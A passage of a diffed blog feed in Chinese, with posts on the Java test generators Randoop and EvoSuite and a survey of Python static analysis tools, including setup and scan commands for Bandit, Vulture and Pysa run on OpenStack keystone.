class="type">ExecutableSequence</span> <span class="variable">es</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ExecutableSequence</span>(s);</span><br><span class="line">es.execute(<span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">ExecutionOutcome</span> <span class="variable">resultAt3</span> <span class="operator">=</span> es.getResult(<span class="number">3</span>);</span><br></pre></td></tr></table></figure><p>更多内容参见 Execution 和 ExecutionOutcome 类。</p><h3 id="Check"><a href="#Check" class="headerlink" title="Check"></a>Check</h3><p>Check 是表示序列的预期属性的对象。就单元测试而言，Check 代表单元测试的一些检查代码。</p><p>每个 Check 都与序列中的一个索引相关联，其中该索引表示应该执行检查的时间。</p><p>Randoop 通过组合和扩展之前生成的序列来随机生成测试输入（Sequence）。另一方面，Randoop 确定性地执行其检查。对于创建的每个序列，它都会检查该序列的所有对象。</p><h3 id="ForwardGenerator"><a href="#ForwardGenerator" class="headerlink" title="ForwardGenerator"></a>ForwardGenerator</h3><p>选择器有两个：</p><ul><li><code>inputSequenceSelector</code>：选择序列</li><li><code>operationSelector</code>：选择方法</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/** How to select sequences as input for creating new sequences. */</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> InputSequenceSelector inputSequenceSelector;</span><br><span class="line"></span><br><span class="line"><span class="comment">/** How to select the method to use for creating a new sequence. */</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">final</span> TypedOperationSelector operationSelector;</span><br></pre></td></tr></table></figure><p>执行序列，在该方法中可以获得序列每条语句的执行结果</p><ul><li>检查输出的文本信息</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="meta">@Nullable</span> ExecutableSequence <span class="title function_">step</span><span class="params">()</span> &#123;...&#125;</span><br></pre></td></tr></table></figure><p>生成序列，在该方法中可以选择下一条语句（Operation）并进行拼接</p><ul><li>默认使用随机均匀的选择器</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> ExecutableSequence <span class="title function_">createNewUniqueSequence</span><span class="params">()</span> &#123;...&#125;</span><br></pre></td></tr></table></figure><p>Operation 集合从哪里来？</p><ul><li>通过反射遍历类当中的方法，将访问信息输出到日志中</li><li>reflection 目录下有多种不同的 Extractor，用于提取信息</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ForwardGenerator</span><br><span class="line">GenTests#handle</span><br><span class="line">OperationModel#createModel</span><br><span class="line">OperationModel#addOperationsFromClasses</span><br><span class="line">OperationExtractor#operations</span><br><span class="line">ReflectionManager#apply</span><br></pre></td></tr></table></figure><h1 id="EvoSuite"><a href="#EvoSuite" class="headerlink" title="EvoSuite"></a>EvoSuite</h1><h2 id="实验-1"><a href="#实验-1" class="headerlink" title="实验"></a>实验</h2><p>相比 Randoop，EvoSuite 的说明就简陋了很多，但是输出的信息非常多。</p><p>EvoSuite 的大量参数都放在了 <code>-D</code> 选项中，需要用键值的方式给出</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 帮助信息</span></span><br><span class="line">java -jar evosuite-1.2.0.jar -<span class="built_in">help</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 可用参数</span></span><br><span class="line">java -jar evosuite-1.2.0.jar -listParameters</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成测试，默认 -generateMOSuite，运行 40min 未完成</span></span><br><span class="line">java -jar evosuite-1.2.0.jar -target test.jar -generateMOSuite</span><br></pre></td></tr></table></figure><p>报错</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ERROR AgentLoader - Exception class java.lang.RuntimeException: AttachProvider.providers() failed to <span class="built_in">return</span> any provider. Tool classloader: java.net.FactoryURLClassLoader@2c537884</span><br></pre></td></tr></table></figure><p>扔到 linux 环境下可以成功执行，执行将生成两个文件夹：</p><ul><li>evosuite-tests：生成的单元测试</li><li>evosuite-report：包含 csv 统计数据和 html 报告，例如出参数、测试用例、覆盖率等信息</li></ul><img src="https://s2.loli.net/2022/04/27/LjWs8qkuvXh6M3b.png" ><p>从输出的测试来看，似乎是对每个类生成测试（而 Randoop 是随机导向测试）</p><img src="https://s2.loli.net/2022/04/27/R9Ek6ZUlqFt4esM.png" ><h2 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h2><ol><li><p>和时间相关的参数很多，可配置参数太多</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -D 可选参数</span></span><br><span class="line">search_budgetlong60Maximum search duration</span><br></pre></td></tr></table></figure></li><li><p>统计信息很多，但不一定都用得到</p></li><li><p>从可用参数帮助信息来看，可以最后进行过滤，或直接指定生成测试使用的方法</p><ul><li>没有说明如果存在依赖会是什么情况</li><li>注：需要使用字节码签名</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">-class &lt;arg&gt;target class <span class="keyword">for</span> <span class="built_in">test</span> generation. A fully qualifying needs to be provided, e.g. org.foo.SomeClass</span><br><span class="line"><span class="comment"># -D 可选参数</span></span><br><span class="line">junit_strictboolean<span class="literal">false</span>Only include <span class="built_in">test</span> files containing the target classname</span><br><span class="line">target_methodStringMethod <span class="keyword">for</span> <span class="built_in">which</span> to generate tests</span><br><span class="line">target_method_listStringA colon(:) separated list of methods <span class="keyword">for</span> <span class="built_in">which</span> to generate tests</span><br></pre></td></tr></table></figure></li><li><p>生成的单元测试依赖 EvoSuite 框架本身，需要添加 evosuite-standalone-runtime.jar</p></li></ol><h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</h1><ul><li><a href="https://github.com/JuYoungJeon/randoopTutorial">randoopTutorial</a></li><li><a href="https://www.youtube.com/watch?v=FR89jtjBCEA">Generating JUnit test suites with Randoop</a></li><li><a href="https://qiita.com/taka_22/items/cd0a7ed1ed10635fc1a3">Java用JUnitテストクラスジェネレータRandoopについて調べてみた</a></li><li><a href="https://medium.com/@marcus.jonssonewerbring/tutorial-an-introduction-to-unit-test-regression-test-and-code-coverage-with-intellij-b08be1268719">[Tutorial] An introduction to unit test, regression test and code coverage with IntelliJ</a></li><li><a href="https://randoop.github.io/randoop/manual/index.html">Randoop Manual</a></li><li><a href="https://randoop.github.io/randoop/manual/dev.html">Randoop Developer’s Manual</a></li><li><a href="https://randoop.github.io/randoop/projectideas.html">Randoop project ideas</a></li><li><a href="https://www.evosuite.org/documentation/commandline/">Commandline | EvoSuite</a></li><li><a href="https://www.evosuite.org/documentation/tutorial-part-1/">Tutorial Part 1: EvoSuite on the Command Line</a></li><li><a href="https://github.com/EvoSuite/evosuite/issues/47">class com.sun.tools.attach.AttachNotSupportedException no providers installed #47</a></li></ul>]]></content>
     
@@ -329,7 +329,7 @@
     <link href="https://jckling.github.io/2021/12/30/Security/Python%20%E7%A8%8B%E5%BA%8F%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7%E8%B0%83%E7%A0%94/"/>
     <id>https://jckling.github.io/2021/12/30/Security/Python%20%E7%A8%8B%E5%BA%8F%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7%E8%B0%83%E7%A0%94/</id>
     <published>2021-12-30T08:50:11.000Z</published>
-    <updated>2024-05-21T10:02:48.268Z</updated>
+    <updated>2024-05-22T14:10:41.009Z</updated>
     
     <content type="html"><![CDATA[<h2 id="Python-程序分析工具调研"><a href="#Python-程序分析工具调研" class="headerlink" title="Python 程序分析工具调研"></a>Python 程序分析工具调研</h2><p>Github 上的开源工具，<code>*</code> 号表示仓库已经不再维护</p><table><thead><tr><th>工具</th><th>描述</th><th>开发语言</th></tr></thead><tbody><tr><td><a href="https://github.com/yinwang0/pysonar2">PySonar2</a></td><td>语义索引器，用于批量处理大型代码库。牺牲实时索引能力，使用过程间分析来推断变量、参数和函数的类型。目前作为大型代码索引服务的基础引擎，Sourcegraph 中也有使用该工具。</td><td>Java</td></tr><tr><td><a href="https://github.com/sourcegraph/sourcegraph">Sourcegraph </a></td><td>代码搜索和导航引擎，帮助阅读和理解大型项目的代码。目前支持 Go、Java、Python 等多种编程语言，能够以浏览器插件的形式提供在线代码阅读的功能。</td><td>Go、TypeScript</td></tr><tr><td><a href="https://github.com/coala/coala">coala</a></td><td>使用配置文件检测和修复代码，可自定义规则和标准检查代码质量，扩展性强。支持 Python、Java、C&#x2F;C++、JavaScript 等多种编程语言，支持作为编辑器插件使用。</td><td>Python</td></tr><tr><td><a href="https://github.com/nvdv/vprof">vprof</a></td><td>性能分析工具，为 Python 程序的运行时间、内存使用情况等提供交互式可视化，不适用于大型代码的分析。</td><td>Python、JavaScript</td></tr><tr><td><a href="https://github.com/scottrogowski/code2flow">Code2Flow</a></td><td>为动态语言生成生成调用图（Call Graph），目前支持 Python、JavaScript、Ruby、PHP。基础流程：<code>AST -&gt; 函数定义 -&gt; 函数调用点 -&gt; 连接点</code> ，主要是提供一个粗略的概览。缺点是没有定义的函数、不同命名空间相同名字的函数将被跳过等，因此并不适用于大型代码的分析。</td><td>Python、JavaScript</td></tr><tr><td><a href="https://github.com/thebjorn/pydeps">pydeps</a></td><td>Python 模块依赖可视化，导出 <code>.svg</code> 或 <code>.png</code> 文件。只考虑导入的文件（模块必须安装），在 Python 字节码中查找导入操作码，同时支持外部模块的分析。</td><td>Python</td></tr><tr><td><a href="https://github.com/gak/pycallgraph">pycallgraph</a>*</td><td>为 Python 应用生成调用图（Call Graph），包括函数的调用次数、执行时间等信息，提供一定程度的性能分析功能。同时支持过滤函数，避免生成的图太大无法分析，默认导出 <code>.png</code> 文件。</td><td>Python</td></tr><tr><td><a href="https://github.com/Yelp/undebt">undebt</a>*</td><td>执行大规模自动化代码重构，根据自定义模式对代码进行查找和替换，适用于任何语言。</td><td>Python</td></tr><tr><td><a href="https://github.com/python-security/pyt">pyt</a>*</td><td>基于理论基础的 Python Web 应用静态分析（控制流图、定点、数据流分析），能够检测 SSRF、SQL 注入、XSS、目录遍历等攻击，支持自定义源点和汇点、传播污点的函数。目前已停更，作者建议使用 Pyre 。</td><td>Python</td></tr><tr><td><a href="https://github.com/facebook/pyre-check">Pyre (Facebook)</a></td><td>性能类型检查器，集成静态分析工具 Pysa（污点分析）Pysa 通过跟踪数据流实现安全检查，依赖类型注释，能够高速处理大型代码。</td><td>OCaml、Python</td></tr><tr><td><a href="https://github.com/PyCQA/bandit">Bandit</a></td><td>构建 AST 并使用插件检查安全问题，最初在 OpenStack 安全项目中开发，后来被重新定位到 PyCQA。主要用于扫描危险函数，支持自定义漏洞测试和扩展插件。</td><td>Python</td></tr><tr><td><a href="https://github.com/CoatiSoftware/Sourcetrail">Sourcetrail</a></td><td>跨平台的源代码浏览器，支持 C&#x2F;C++、Java、Python，提供搜索、代码、图形三个交互式视图。亮点是给出了源代码的结构，但只有符号名称。</td><td>C++、Java</td></tr><tr><td><a href="https://github.com/rubik/radon/">radon</a></td><td>计算源代码的度量（metrics），包括 McCabe、Halstead、可维护性索引三种度量指标，支持在 coala 中使用。主要用于评估代码的复杂度。</td><td>Python</td></tr><tr><td><a href="https://github.com/rubik/xenon">xenon</a></td><td>基于 radon 的监测工具，检查代码复杂性。可应用于 CI&#x2F;CD，在每次提交代码时运行，根据自定义代码复杂性阈值返回成功或失败。</td><td>Python</td></tr><tr><td><a href="https://github.com/davidhalter/jedi">jedi</a></td><td>Python 静态分析工具，侧重于自动补全和跳转，通常作为编辑器的插件使用。</td><td>Python</td></tr><tr><td><a href="https://github.com/python/mypy">mypy</a></td><td>静态类型检查器（PEP 484），能够对 Python 程序中的类型注释执行静态检查。</td><td>Python</td></tr><tr><td><a href="https://github.com/Microsoft/pyright">pyright (Microsoft)</a></td><td>可用于大型 Python 源代码库的快速类型检查器，使用内置的类型存根进行类型推断，可以在监视模式下运行，支持增量更新。</td><td>TypeScript、Python</td></tr><tr><td><a href="https://github.com/google/pytype">pytype (Google)</a></td><td>静态分析器，无需类型注释就能检查和推断 Python 代码的类型，也利用了类型存根（pyi 文件）。</td><td>Python</td></tr><tr><td><a href="https://github.com/jendrikseipp/vulture">Vulture</a></td><td>查找 Python 程序中未使用的代码（死代码），存在漏报，并且隐式调用可能会被误报。支持设置最小置信度、白名单等功能，可以对单个文件或目录的 py 文件执行分析。</td><td>Python</td></tr><tr><td><a href="https://github.com/vitsalis/pycg">PyCG</a></td><td>使用静态分析为 Python 代码生成调用图，支持高阶函数、类继承、导入的模块、嵌套定义。详见论文 <a href="https://vitsalis.com/papers/pycg.pdf">ICSE 2021 paper</a></td><td>Python</td></tr><tr><td><a href="https://github.com/tonybaloney/wily">Wily</a></td><td>复杂性检查</td><td>Python</td></tr><tr><td><a href="https://github.com/PyCQA/mccabe">McCabe</a></td><td>复杂性检查</td><td>Python</td></tr><tr><td><a href="https://github.com/thg-consulting/it">it</a></td><td>代码检查工具&#x2F;框架</td><td>Python</td></tr></tbody></table><p>以及一些闭源工具</p><table><thead><tr><th>工具</th><th></th></tr></thead><tbody><tr><td><a href="https://securitylab.github.com/tools/codeql/">CodeQL</a></td><td>代码分析引擎</td></tr><tr><td><a href="https://www.microfocus.com/en-us/cyberres/application-security/static-code-analyzer">Fortify SCA</a></td><td>静态代码审计工具</td></tr><tr><td><a href="https://marketplace.visualstudio.com/items?itemName=ms-python.vscode-pylance">Pylance (Microsoft)</a></td><td>基于 pyright 的 Python 代码静态分析工具</td></tr><tr><td><a href="https://deepsource.io/">DeepSource</a></td><td>支持多种语言的静态分析，个人免费</td></tr><tr><td><a href="https://www.codacy.com/">Codacy</a></td><td>能够通过静态代码分析获得关于安全问题、代码覆盖率、代码重复率、代码复杂性的信息</td></tr></tbody></table><p>前段时间的 log4j 貌似就是用 CodeQL 找到的👍</p><h2 id="Bandit"><a href="#Bandit" class="headerlink" title="Bandit"></a>Bandit</h2><p>Bandit 可以用来搜索 Python 代码中常见的安全问题，在检测过程中，Bandit 会对每一份 Python 代码文件进行处理，基于 ast 模块生成抽象语法树，然后针对每一个 AST 节点运行相应的检测插件。完成安全扫描之后，Bandit 会直接给用户生成检测报告。</p><p>拿 keystone 源码进行测试，测试插件分组如下，可以通过配置进行选择：</p><table><thead><tr><th>ID</th><th>Description</th></tr></thead><tbody><tr><td>B1xx</td><td>misc tests</td></tr><tr><td>B2xx</td><td>application&#x2F;framework misconfiguration</td></tr><tr><td>B3xx</td><td>blacklists (calls)</td></tr><tr><td>B4xx</td><td>blacklists (imports)</td></tr><tr><td>B5xx</td><td>cryptography</td></tr><tr><td>B6xx</td><td>injection</td></tr><tr><td>B7xx</td><td>XSS</td></tr></tbody></table><h3 id="测试-keystone"><a href="#测试-keystone" class="headerlink" title="测试 keystone"></a>测试 keystone</h3><p>环境准备</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># virtualenv</span></span><br><span class="line">sudo apt install python3-virtualenv -y</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建虚拟环境</span></span><br><span class="line">virtualenv bandit-env</span><br><span class="line">python3 -m venv bandit-env</span><br><span class="line"></span><br><span class="line"><span class="comment"># 激活虚拟环境</span></span><br><span class="line"><span class="built_in">source</span> bandit-env/bin/activate</span><br><span class="line"></span><br><span class="line"><span class="comment"># 安装 Bandit</span></span><br><span class="line">pip install bandit</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建测试目录</span></span><br><span class="line"><span class="built_in">mkdir</span> bandit-test &amp;&amp; <span class="built_in">cd</span> bandit-test</span><br><span class="line"></span><br><span class="line"><span class="comment"># 下载 keystone 源码</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/openstack/keystone.git --single-branch --branch stable/victoria</span><br></pre></td></tr></table></figure><p>主要的功能就是黑名单和自定义检测规则。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 运行 Bandit</span></span><br><span class="line">bandit -r keystone -o test.txt -f txt</span><br><span class="line">bandit -r keystone -o test.html -f html</span><br><span class="line"></span><br><span class="line"><span class="comment"># 复制到本地查看</span></span><br><span class="line">scp -r jck@10.123.123.123:~/bandit-test/test.html /c/Users/linki/Desktop</span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置文件</span></span><br><span class="line">.bandit</span><br></pre></td></tr></table></figure><p>导出的文件 <a href="https://raw.githubusercontent.com/jckling/Assets/master/python/test.html">test.html</a> 显示扫描了 118379 行代码，蓝色表示低危，橙色表示中危，这里所有的都只出现在 tests 的测试文件中。</p><p>过滤测试文件夹，重新执行检测，得到 html 文件：<a href="https://raw.githubusercontent.com/jckling/Assets/master/python/testx.html">testx.html</a> 显示扫描 41415 行代码，没有用到危险函数。</p><p>Bandit 原先是 OpenStack 的项目，部分组件的开发有使用 Bandit 进行检查，其中就包括 keystone ，因此用 Bandit 扫描组件的意义可能不是很大。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 过滤测试文件夹</span></span><br><span class="line">bandit -r keystone/keystone/ --exclude keystone/keystone/tests/ -o testx.html -f html</span><br><span class="line"></span><br><span class="line"><span class="comment"># 复制到本地查看</span></span><br><span class="line">scp -r jck@10.123.123.123:~/bandit-test/testx.html /c/Users/linki/Desktop</span><br></pre></td></tr></table></figure><h2 id="Vulture"><a href="#Vulture" class="headerlink" title="Vulture"></a>Vulture</h2><p>同样利用了 ast 模块生成抽象语法树，在遍历时记录已定义和使用的对象名称，最后报告未使用的对象（死代码）。还通过查找 return、break、continue、raise、不满足条件的 if 条件、while 条件来检测不可达的代码。因为只考虑对象名称，没有考虑作用域，因此可能存在漏报，而且隐式调用可能会被误报。</p><h3 id="测试-keystone-1"><a href="#测试-keystone-1" class="headerlink" title="测试 keystone"></a>测试 keystone</h3><p>具体的安装与测试操作如下，执行结果导出为 <a href="https://raw.githubusercontent.com/jckling/Assets/master/python/unused.txt">unused.txt</a>，最后给出了置信度。执行速度非常快，但给出的结果信息量少，只能作为简单的参考。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建文件夹</span></span><br><span class="line"><span class="built_in">mkdir</span> vulture-test</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置虚拟环境</span></span><br><span class="line">python -m venv vulture-test</span><br><span class="line"></span><br><span class="line"><span class="comment"># 激活虚拟环境</span></span><br><span class="line"><span class="built_in">cd</span> vulture-test</span><br><span class="line"><span class="built_in">source</span> bin/activate</span><br><span class="line"></span><br><span class="line"><span class="comment"># 安装 Vulture</span></span><br><span class="line">pip install vulture</span><br><span class="line"></span><br><span class="line"><span class="comment"># 下载 keystone 源码</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/openstack/keystone.git --single-branch --branch stable/victoria</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行分析</span></span><br><span class="line">vulture keystone/keystone/ --exclude keystone/keystone/tests/ --sort-by-size &gt; unused.txt</span><br></pre></td></tr></table></figure><h2 id="Pysa"><a href="#Pysa" class="headerlink" title="Pysa"></a>Pysa</h2><p>入门教程可以看：<a href="https://jckling.github.io/2021/07/07/Security/Pysa%20Tutorial/">Pyre 污点分析工具 Pysa 使用教程</a></p><h3 id="测试-keystone-2"><a href="#测试-keystone-2" class="headerlink" title="测试 keystone"></a>测试 keystone</h3><h4 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h4><p>安装依赖</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 更新 Python3.8.x</span></span><br><span class="line">sudo apt-get update</span><br><span class="line">sudo apt install python3.8 python3.8-venv python3.8-dev python3-pip -y</span><br><span class="line"></span><br><span class="line"><span class="comment"># update-alternatives 配置 python 指向 python3.8.x 后</span></span><br><span class="line">python -m pip install --upgrade setuptools</span><br><span class="line">pip install wheel</span><br></pre></td></tr></table></figure><p>初始配置</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建虚拟环境</span></span><br><span class="line">python -m venv ~/.venvs/pysa</span><br><span class="line"></span><br><span class="line"><span class="comment"># 激活虚拟环境</span></span><br><span class="line"><span class="built_in">source</span> ~/.venvs/pysa/bin/activate</span><br><span class="line"></span><br><span class="line"><span class="comment"># 更新工具</span></span><br><span class="line">pip install wheel</span><br><span class="line">python -m pip install --upgrade setuptools</span><br><span class="line"></span><br><span class="line"><span class="comment"># 安装 Pyre 和 SAPP</span></span><br><span class="line">pip install pyre-check fb-sapp</span><br></pre></td></tr></table></figure><h4 id="分析-keystone-源码"><a href="#分析-keystone-源码" class="headerlink" title="分析 keystone 源码"></a>分析 keystone 源码</h4><p>下载 Victoria 版本的 keystone 源码并安装依赖，能够让 Pysa 使用和导入模块对应的污点模型，检测导入模块内部的污点源和汇。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 创建测试目录</span></span><br><span class="line"><span class="built_in">mkdir</span> pysa-test &amp;&amp; <span class="built_in">cd</span> pysa-test</span><br><span class="line"></span><br><span class="line"><span class="comment"># 下载源码</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/openstack/keystone.git --single-branch --branch stable/victoria</span><br><span class="line"></span><br><span class="line"><span class="comment"># 进入源码目录</span></span><br><span class="line"><span class="built_in">cd</span> keystone</span><br><span class="line"></span><br><span class="line"><span class="comment"># 安装 keystone 依赖</span></span><br><span class="line">pip install -r requirements.txt</span><br></pre></td></tr></table></figure><p>初始化配置，添加类型注释（Python 3.5+）部分会失败，导入过滤器</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 初始化配置</span></span><br><span class="line">pyre init</span><br><span class="line"></span><br><span class="line"><span class="comment"># 编辑配置文件</span></span><br><span class="line">vim .pyre_configuration</span><br><span class="line"></span><br><span class="line"><span class="comment"># 为源码添加类型注释</span></span><br><span class="line">pyre infer -r -i</span><br><span class="line"></span><br><span class="line"><span class="comment"># 导入过滤器设置 SAPP</span></span><br><span class="line">sapp filter import ~/.venvs/pysa/lib/pyre_check/pysa_filters</span><br></pre></td></tr></table></figure><p>过滤器 <a href="https://github.com/facebook/pyre-check/tree/master/tools/sapp/pysa_filters">pysa_filters</a> 包含以下配置文件</p><ul><li>5001-code-command-injection.json</li><li>5005-sql-injection.json</li><li>5011-userdata-to-filesystem.json</li><li>6065-argument-injection.json</li><li>6066-unsafe-deserialization.json</li><li>6073-server-side-template-injection.json</li></ul><p>以 5001-code-command-injection.json 为例，设置不展示元数据（feature）以及显示的追踪长度</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Command and Code Injection&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;description&quot;</span><span class="punctuation">:</span> <span class="string">&quot;High signal filter for 5001 Shell Injection&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;features&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span> <span class="string">&quot;none of&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;features&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                <span class="string">&quot;always-type:scalar&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;always-type:bool&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;via:shell_escape&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;always-via:shell_escape&quot;</span></span><br><span class="line">            <span class="punctuation">]</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;codes&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="number">5001</span></span><br><span class="line">      <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;traceLengthFromSources&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">        <span class="number">3</span></span><br><span class="line">    <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;traceLengthToSinks&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">        <span class="number">4</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>运行 Pyre 并将结果存储在 pysa-runs 文件夹，使用 SAPP 可视化展示</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 运行 Pysa</span></span><br><span class="line">pyre analyze --no-verify --save-results-to ./pysa-runs --dump-call-graph</span><br><span class="line"></span><br><span class="line"><span class="comment"># 导入文件 运行 SAPP</span></span><br><span class="line">sapp analyze ./pysa-runs/taint-output.json</span><br><span class="line"></span><br><span class="line"><span class="comment"># 运行服务器</span></span><br><span class="line">sapp server</span><br></pre></td></tr></table></figure><p>由于运行 OpenStack 服务的主机上 keystone 绑定了 5000 端口，而 SAPP 不提供修改端口的选项，所以重新弄了台主机专门用于分析。另外，SAPP 的 UI 默认绑定在 localhost 上，需要在本地使用 iptables 配置转发。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 启用本地转发</span></span><br><span class="line">sudo sysctl -w net.ipv4.conf.ens160.route_localnet=1</span><br><span class="line"></span><br><span class="line"><span 